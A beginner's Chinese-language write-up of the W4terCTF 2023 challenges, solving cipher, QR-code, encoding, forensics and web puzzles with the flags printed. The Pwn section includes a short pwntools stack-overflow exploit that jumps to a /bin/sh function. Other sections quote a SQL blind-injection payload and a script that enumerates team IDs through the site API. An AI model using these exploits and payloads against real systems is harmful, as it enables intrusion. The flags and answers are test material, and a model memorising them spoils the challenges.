这是一个懵懂的年轻人参加的第一场 CTF。WP 一字不改,发出来给大伙乐一乐。

# Misc

# Check in

公众号(https://mp.weixin.qq.com/s/g-nS4wYxq_YCGUoL8P3WTw ): W4terCTF{weIC0Me_tO_

赛事详情页(https://ctf.w4terdr0p.team/games/1 ): th3_4m4z1n6_ (被网页样式隐藏,F12 来一下)

QQ 群公告: W0rId_o1_CTF}

🚩 W4terCTF{weIC0Me_tO_th3_4m4z1n6_W0rId_o1_CTF}

# Weird Letter

Pqrb HWYif,
    I qiiz gxue doxvtks frhwn leg ivvq dgh hhjn rjh'hq qettbbru tqy xspyfqdosw hj QTO wavybqzxox. Dl ccu thhr, phkbkyluttvy rm t xekourv hrftcnnhm js cmzp MYI vloluygbri, mzu sy'v bqdoantig ja trfj d zscd dhwzeifmennqz st tqy wdsvqdvxy hggfyynbja jqoyxntnig tqum veu gevn.
    Nq vposbcv xeobffqwdilm, tqy Odtuzqio fqw Goebuk xvftqic fux tcpdftm pxautox. Wai Jipygzeu ougrju bw o pxfrvyftmsoylv wibbnbohjuae mnsaif tqum pfue m iouhtxwnp extjedp ky jqvmdhnl ignyzfvhy pxwgapyl. Dg'i m bfgjuyyz ewwktcjuae dtre, fit rn vva rq oikhnxh isrhz aeucgvxhb trolhmbn. Gxq Oroxdk gwpqyk df q eudzqhk wibbnbohjuae mnsaif tqum nuyrfj offa pstcyk da jtq gvflgxsxc vr v syjqu xzpuif oo jhnvjuaec irpr hhn uekuqnqk. Wtgxvb casiobwdmgrd ryjsrb ghmr qphrxhhw ibcasiovez fvmmqbuieb mnxu qe fyo Fgoebcnx Xiphkbkstq Lxonmuky (NUE). MVC nv t wmmvymmvs qztbdsmmcn jfzjeyftd dmdm ygeb u dzl ja qemwbix onm xxxeobf ukyd. Bx'g dnmbbaup ff bjvbwh acntxxi rdfw jyxr hhn ghng qphrxhhw gcmyomzei mzu sx zbhslh olzq ja qemwbix gewmbovlq prdf. Dlcamnnkdp uzoiiuwbsb ib ugjgxqd zwurkxonc ygxeobfzys wxgvnrknz gxmf'j exhw mb CCZ vcnbxqeqjv. Twmmvymmvs qztbdsmmcn dmxn gma wvix, d iyplrw dzl qzp r zwloehe tyr, ob uzoiiuw trr dnwktcj pmkk. Nw'l gcmviggl kequ ss gbkwtjf ldtdmflbjv trr snwnmr saydeslvehixh imbjaofvx.
    Lg gcnlfnnvez, oiiuwhkfaybr df q rmjmnqtxwnp ugy pxmxcosjbru sdvczpj ftrd'x fkmhilue ob SFR trfoeibgnm. Pcrjtqi itx'ki bef nh XGV ad rx jaiifinhvzq SFRvb, zqwifscugyvds fyo ilyjsrnhm zasdkgdnrg xscqhblhue uj oxvxrhijf mj fkoovoi lg xveby vcnbxqeqjv. Disp nrigbhuzx ksg aeje oog xeqowzxl wasge lcicrhe!
    Kfew ieeu ib Q4mzeSFR fzjq uvocn OGmNLqx lxihkpwnn naZ hdpqivnqx wsCA37 ogyrhxueo GXKpSd dhwzebuzv sS xghsrucgz sHq9G3emd fesge kltxr.
Rqek bjjtvrs,
Ml. 0i

# 解题过程

观察密文,有几处出现 xxx'x ,猜测是英文单词等长变换而来;

只有一个字母的单词( a / I )变成了不同的字母,猜测是维吉尼亚密码(Vigenere)。

在不知道密钥长度的情况下,使用在线工具(https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx )解密:

在线工具认为密钥长度为 96,解密后的 “明文” 有部分内容与正确的明文较接近。观察所用的密钥,几乎是 16 个字符被重复 6 次。于是调整密钥长度为 16,再次使用在线工具(https://www.guballa.de/vigenere-solver )解密:

此时得到了正确的密钥、明文和 flag。

🚩 W4terCTF{UNrAVel_thE_seCR37_BURlEd_iN_fRe9U3ncy}

# Good QRCode

# 解题过程

首先发现不同实例给出的二维码除 “格式信息”(Format Information,下图蓝色区域)不相同外,其余部分均相同。于是猜测,只是把正常二维码的格式信息改乱了,所以无法识别。

二维码有复杂的纠错机制,但是对于格式信息和版本信息,仅仅采用了重复两遍的方法防止错误。“格式信息对不上就无法识别” 是成立的,可以尝试扫下面的二维码(正常生成左边,然后改出右边):

格式信息只有 32 种(https://www.thonky.com/qr-code-tutorial/format-version-tables ),可以手动逐一尝试🤡。可以通过 Windows 画图的填充工具和 Ctrl+Z,快速对下图进行操作。

手动尝试 32 次都扫不出来,说明以上做法有误,现在请忘掉上面的做法。😜

题目上的提示是后来补上的。生成二维码的步骤:https://www.bilibili.com/read/cv684169 ,现在已经得到一个像模像样的二维码,差的就是掩码这一步了。

掩码有 8 种,这可不是孔乙己,而是为了避免出现大片黑 / 白或者类似 “码眼” 的结构。但实际上,使用了任何一种掩码,只要格式信息对得上,都是可以被正确识别的。

于是现在有两种做法:一是直接把二维码内容读出来;二是继续加上掩码然后再识别。你选哪种?

我选第二种,并且采用 0 号掩码,因为好算。

我不会写 Python,但是看了 Bad QRCode 题目的附件,又觉得 PIL 库很好用。以下程序是用 Cursor 软件写的,这个编辑器里面可以直接用 GPT:

from PIL import Image
img = Image.open('qrcode.png')
arr = [[0 for _ in range(61)] for _ in range(61)]
def isFunctionRegion(x,y):
    if (x==6) or (y==6) or (x<=8 and y<=8) or (x>=50 and y<=6) or (y>=50 and x<=6) or (x>=53 and y==7) or (y>=53 and x==7):
        return True
    else:
        return False
# read source image
for x in range(61):
    for y in range(61):
        if img.getpixel((x*13+33, y*13+33)) == 0:
            arr[x][y] = 0
        else:
            arr[x][y] = 255
        # mask
        if (isFunctionRegion(x,y)==False) and ((x%2==0 and y%2==0) or (x%2==1 and y%2==1)):
            arr[x][y] = 255 - arr[x][y]
# format information 001011010001001 这里的第一维 x 向右为正 第二维 y 向下为正
arr[0][8]=arr[1][8]=arr[3][8]=arr[7][8]=arr[8][7]=arr[8][5]=arr[8][4]=arr[8][2]=arr[8][1]=arr[8][60]=arr[8][59]=arr[8][57]=arr[8][54]=arr[59][8]=arr[58][8]=arr[56][8]=arr[55][8]=arr[54][8]=255
arr[2][8]=arr[4][8]=arr[5][8]=arr[8][8]=arr[8][3]=arr[8][0]=arr[8][58]=arr[8][56]=arr[8][55]=arr[60][8]=arr[57][8]=arr[53][8]=0
# Create a new 1-bit image
img = Image.new('1', (845, 845))
# Iterate through the array and set the corresponding pixel in the image
for y in range(61):
    for x in range(61):
        for a in range(13):
            for b in range(13):
                img.putpixel((x*13+a+26, y*13+b+26), arr[x][y])
# border
for x in range(845):
    for y in range(845):
        if x<26 or x>=845-26 or y<26 or y>=845-26:
            img.putpixel((x, y), 255)
img.save('output.png')

二维码内容每个码元(小方块)用 1 个布尔值表示,1 为黑色,0 为白色。原图像每个像素用 1 个整数表示,取值为 0~255,0 为黑色,255 为白色。(而 RGB 用 3 个整数,RGBA(含不透明度)用 4 个整数。)

在进行 0 号掩码时,对应 x 和 y 奇偶性相同的小方块用反码(即与黑 1 异或),相反的小方块用原码(即与白 0 异或)。反码操作直接写成被 255 减:255-0=255,255-255=0。

功能区域不进行掩码,“小码眼” 属于功能区域,本来不应该添加掩码。但我懒得再写判断条件,反正加上掩码之后也能识别出来。

程序输出:

🚩 W4terCTF{gOOD_dEcoDeR_caN_rEad_nakEd_Qr-cod3_WItHouT_mAsK}

# Shadow

# 解题过程

上 nc,把内容保存为文件。

nc ctf.w4terdr0p.team 8888 -o shadow.txt

然后就可以看到隐藏的 flag 了。

🚩 W4terCTF{sHAD0W_IN_thE_LiGHT_fAUI7_iN_7hE_R19HT}

# Spam 2023

# 解题过程

密文似乎说来说去都是那几句话, 所以取密文中的一句话 We are a BBB member in good standing 进行百度搜索,找到了类似的内容,及加 / 解密方式:https://spammimic.com/

从 Dear Colleague 开始复制,spammimic 解密结果:

26dp26dp58PA5eC(9NY5494#-dP$5eT'4%3d980638p&6%j44&0&5&P+08P@99*&@&*24dBh8891@M9C4c9549*%0NP'8d&1@P4+9dG"4NjB9&T24&C&5&K60P9"0P&)0%**0N3b08j64%Nd4$GC5!

长度为 150 字符,特征是含有较多的特殊字符 @!"#$%&'()*+- ,较少的小写字母(只出现了 c d e h j p)。由提示可知是 BinHex 编码,文档:http://files.stairways.com/other/binhex-40-specs-info.txt

尝试对前 4 个字符 26dp 进行解码:

恰好得到 3 个 00111101 ,也就是 ASCII 的 =

1 个 26dp 对应 3 个 =,2 个 26dp 对应 6 个 =,6 个 = 明显是 base32 的特征。

写一个 C 程序完成后续解码,并前后翻转(因为 base32 的 6 个 = 在末尾):

#include<stdio.h>
#include<string.h>
int main() {
    char ind[200] = {0}; // 存放逐个字符的 BinHex 索引
    char convert[200] = {0}; // 存放解码后的字符串
    char reverse[200] = {0}; // 将解码后的字符串前后翻转
    char* key = "!\"#$%&'()*+,-012345689@ABCDEFGHIJKLMNPQRSTUVXYZ[`abcdefhijklmpqr";
    char* code = "26dp26dp58PA5eC(9NY5494#-dP$5eT'4%3d980638p&6%j44&0&5&P+08P@99*&@&*24dBh8891@M9C4c9549*%0NP'8d&1@P4+9dG\"4NjB9&T24&C&5&K60P9\"0P&)0%**0N3b08j64%Nd4$GC5!";
    // 填充 ind
    int i=0;
    while(code[i]) {
        ind[i] = strchr(key,code[i]) - key;
        i++;
    }
    // 填充 convert
    for(int j=0; j<=50; j++) {
        int x = j * 3;
        int y = j * 4;
        convert[x] = (ind[y]<<2) + (ind[y+1]>>4);
        convert[x+1] = (ind[y+1]<<4) + (ind[y+2]>>2);
        convert[x+2] = (ind[y+2]<<6) + (ind[y+3]);
    }
    // 填充 reverse
    int len = strlen(convert);
    for(int i=len-1; i>=0; i--) {
        reverse[i] = convert[len-1-i];
    }
    puts(reverse);
    return 0;
}

程序输出:

HY7D4IDSN52D6IB4HQ6AU6SXHEVDOZTXNFAGWJTZNASFI6DRER5GY5ZNEQ7FGORXERUVI5JYHESDQNLEOASCU4DDFZKCI3BTERKVGVKWII======

然后 base32 解密得到:

>>> rot? <<<zW9*7fwi@k&yh$Txq$zlw-$>S:7$iTu89$85dp$*pc.T$l3$USUVB

第二行是 ROT(旋转)加密,但不知道旋转位数(偏移量)。尝试对 ASCII 使用不同的偏移量,偏移量为 59 时得到 flag。

依次进行了 spam、BinHex、base32、ROT59 四次解密。

对于这道题,我的评价是:买(sang)壹(xin)送(bing)叁(kuang)

🚩 W4terCTF{HaVE_1UN_WITh_y0ur_F1Rst_spAM_eM@i1_In_2023}

# Pwn

# What is NetCat

(题面链接:netcat 的使用 - Lmg66 - 博客园

🚩 W4terCTF{WeIComE_TO_tHe_tHrlIIln9_GAmE}

# Tic-Tac-Toe Level 0

运行这个 Python 程序,flag 就出现了。好的,下一题(不是)

from pwn import *
c=remote("ctf.w4terdr0p.team",8888)
for i in range(8):
    c.recvline()
c.sendline("4")
for i in range(15):
    c.recvline()
c.sendline("5")
for i in range(15):
    c.recvline()
c.sendline("3")
c.recvline()
c.recvline()
c.send('a' * 0x14 + 'bbbb')
c.sendline(p32(0x08049236))
c.sendline("cat flag")
c.interactive()

题目和栈溢出原理 - CTF Wiki 基本一致,这里就不复制粘贴一遍了。

用 IDA 反编译附件,在字符串视图可以看到 "/bin/sh" ,找到使用该字符串的函数是 success ,目标地址是 0x08049236 ,如下图。

找到可以造成栈溢出的函数,确定需要填充字符(字节)的长度为 14,如下图。所以输入是 'a' * 0x14 + 'bbbb' + p32(0x08049236)

需要在井字棋游戏中获胜,程序运行到输入名字。经过几轮正常游戏,总结规律写出上文的 Python 程序,运行得到 flag。

🚩 W4terCTF{IE7'S_pLaY_wlth_yOuR_1IRSt_PwNlNg_cH4lleNg3_of_7Ic-7aC-70e}

# Web

# The Moment of Token

# 解题过程

根据注释,要让当前时间戳与密码的整数距离小于 5。

于是写一行 JavaScript 放在浏览器书签(我的 QQ 浏览器好像不能直接在地址栏输入这行 JavaScript 来运行),F12 给表单加上 id,点击书签,以便登录成功:

javascript:document.getElementById("password").value=String((new Date()).valueOf());document.getElementById("aaa").submit();

登录前后,使用 Fiddler 抓包,在 Cookies 处看到 “转瞬即逝”(前面和后面都没有出现)的 token:

token=eyJhbGciOiJIUzI1NiJ9.eyJnaWZ0IjoiSzQySElaTFNJTktFTTZaWEpCU1Y2VExQTlVaVzRWQzdONVRGNk5aUU5OQ1c0WFpSS05QVU1NS0ZJVjJHU1RSV0w1UkZLVkM3S0JaRUtRMkpKNTJUSzdJPSIsInVzZXJuYW1lIjoiIn0.P2HVls2s53LWvCP5F_dHepbvjalwJswZ2aBk8pMdJEo

使用 https://cyberchef.org自动识别加密方式并解密(进行两次),优雅地得到 flag:

🚩 W4terCTF{7He_Mom3nT_of_70kEn_1S_F1EEtiN6_bUT_PrECIOu5}

# Reverse

# Lazy Puts

都来打 CTF 了,我甚至还没有装过 Linux

无所谓,十六进制编辑器(如 010 Editor,WinHex 等)会出手🐶

🚩 W4terCTF{1'll_tEll_y0U_THe_TrUTH_WHen_I_wAke_up}

# Forensics

# USB Hacker

# 解题过程

用 WireShark 打开附件,逐条数据查看 Leftover Capture Data。

第一个字节为 0220 表示 Shift 被按下,第三个字节按照映射表转换可得到输入的字符。

映射表:https://usb.org/sites/default/files/documents/hut1_12v2.pdf ,第 53 页。

有两点需要注意(网上的一些脚本就没有注意,导致答案错误):

  1. 一般情况下 Shift 和其他键不是同时松开(弹起)的。如果先松开的是 Shift,有可能识别错误。

  1. Caps Lock 只对 26 个字母产生影响。

最后还是人工转换完了全部数据。

🚩 W4terCTF{yoU_@R3_Th3_MaST3R_o1_USB_tR@Ff!C_aN@Iys!s}

# 紧急求助

# 解题过程

打开截图工具摇晃鼠标,可以发现大部分位置都是纯白(255)的,有少数位置是 253 和 254,这些位置就有水印。

用图片处理软件,调高亮度(对于题目中深色模式下的图片)就可以看到水印了。(插入一条软件推荐:一个安卓版的图片处理软件 “Snapseed”,非常简洁,并且可以进行很多操作)

不懂怎么找 API,但是对比赛页面(题目、排行榜、自己的队伍……)F12→网络能看到几个项目,打开来看看。

实现手机看排行榜自由(不是)

上面还有个落单的 js,打开发现有 /api 字符串。

有好几个 /api/team ,看得眼花(注:复制到 VS Code 可以 Shift+Alt+F 整理格式),直接浏览器打开。

发现是自己队,里面出现了与水印相似的 “8-4-4-4-12” 结构字符串。自己队 id 是 49,前面看到 /api/team/${n} ,在地址后面加个数字试试。

是 50 号队。(应该有可以看到全部队伍的 api 吧?但我没去找了。)

换成不同的数字,于是知道了范围是 1~106(我做题时)。

一个个队看太不划算,写一个批处理脚本,把这些数据全下载到本地。(Windows 下的,粘贴到记事本保存为.bat 文件,双击即可运行)

@echo off
set count=1
:loop
if %count%==107 goto end
curl https://ctf.w4terdr0p.team/api/team/%count% -o %count%.txt
set /a count+=1
goto loop
:end
echo "Loop finished"
pause

运行后,会在脚本相同文件夹下得到 106 个 txt 文件。这样就可以用 AnyTXT 来快速查找了。(插入一条软件推荐:用 Everything 按照文件名等信息查找文件,用 AnyTXT 按照文本内容查找文本文件,谁用谁爽。)

🚩 W4terCTF{WE_HAVe_b4NN3d_7Hi5_USer!_thAnK_Y0U_1Or_YOUR_H3lp!}

# Evil Traffic

# 解题过程

一个教程(HTTP - CTF Wiki)说用终端命令把 URL 提取出来。

tshark -r evil.pcapng.gz -T fields -e http.request.full_uri > eviltraffic.txt

URL 解码(URL 解码 URL 编码 在线 URL 解码 / 编码工具 iP138 在线工具)一下,把 % 转义的字符译出来,方便看。用 WPS 文字删去空行。

保留有 flag 字样的行,用 Excel 的分列功能取出有用的数据。(按 > 分列,然后用空白替换掉 CHAR()

塞进去一个 ASCII 映射表,Excel 公式把 ASCII 转换为对应的字符。看到了 flag 特征的 {

找到 flag 的开头(W4ter)。会发现 flag 在

http://10.37.129.2:60080/?id=1 AND SUBSTR((SELECT COALESCE(flag,CHAR(32)) FROM flag LIMIT 1,1),XXX,1) ,每个 XXX 对应一个字符。

再找另一个教程(某行业攻防培训 ----- 流量分析之 -----sql 盲注_sql 盲注流量分析 - CSDN 博客),去 WireShark 过滤出 http。

定位到 flag 出现的范围。观察发现 W4ter 这些字符对应的响应都是 nothing here。

所以,对于上文的每个 XXX,找到 ASCII 最小的 nothing here,把 ASCII 翻译成字符,拼起来就是想要的 flag。原因用下图举例,当初注入的时候尝试 112,是 nothing here,说明正确的小于等于 112。继续尝试 104 是 nothing here,说明正确的小于等于 104。继续尝试 100,98,99,直到能判断出最小的 nothing here 是多少。

电脑在看 WireShark,屏幕不够用,手写比较有效率。第一行是第几个字符(跳过 W4terCTF{ ),第二行是得到的十进制 ASCII,第三行是对应的字符。

🚩 W4terCTF{Wow_Y0u_cR@CK3D_A_5&L_6l!nd_!nJEC7I0n_1L0W}

# PPC

# Quiz for PyGZ

前 2 题略,第 3 题在网上找现成的答案 https://www.zhihu.com/question/345195246/answer/832881914 ,第 4 题也是网上找的,但是想知道是怎么回事(不觉得这很神奇吗?),于是询问了 GPT(是 GPT-3,下面已经把他说错的部分更正了)。

这是一个 Python 程序,它定义了一个字符串变量_,它的值是 '_=% r;print (_%%_)',其中 % r 是一个占位符,表示将来会被替换成一个字符串。然后程序使用 print 函数输出了这个字符串,字符串中的 % r 被替换成了_本身,所以输出的结果就是 "_='_=% r;print (_%%_)';print (_%_)"。这个程序的作用是输出自身的代码。

然后我对它作了一点修改,就得到了第 5 题的答案。

Welcome to the quiz for PyGZ!
In following questions, you will be asked to write some one-line answers.
[+] Question 1
    Write a python program that prints "Hello World!"
[-] Answer: print("Hello World!")
[+] Output: Hello World!
[+] Question 2
    Write a python program that prints the answer to the life, the universe, and everything
[-] Answer: print(42)
[+] Output: 42
[+] Question 3
    Give me three numbers so they satisfy x^3 + y^3 + z^3 is the answer to the previous question (split by space)
[-] Answer: -80538738812075974 80435758145817515 12602123297335631
[+] Question 4
    Write a python program that prints its own source code
[-] Answer: _='_=%r;print(_%%_)';print(_%_)
[+] Output: _='_=%r;print(_%%_)';print(_%_)
[+] Question 5
    Write a python program that prints its own sha256 hash
[-] Answer: import hashlib;_='import hashlib;_=%r;print(hashlib.sha256((_%%_).encode()).hexdigest())';print(hashlib.sha256((_%_).encode()).hexdigest())
[+] Output: bdc6cc2d96856f78ae8b29353bf441a998080054a08f6ef2f67ab98b32d7599e
[+] Congratulations! You have passed all the questions in the PyGZ quiz!
[+] Here is your flag: W4terCTF{yOU_ScoREd_l0OPT5_frOM_9Z7im3}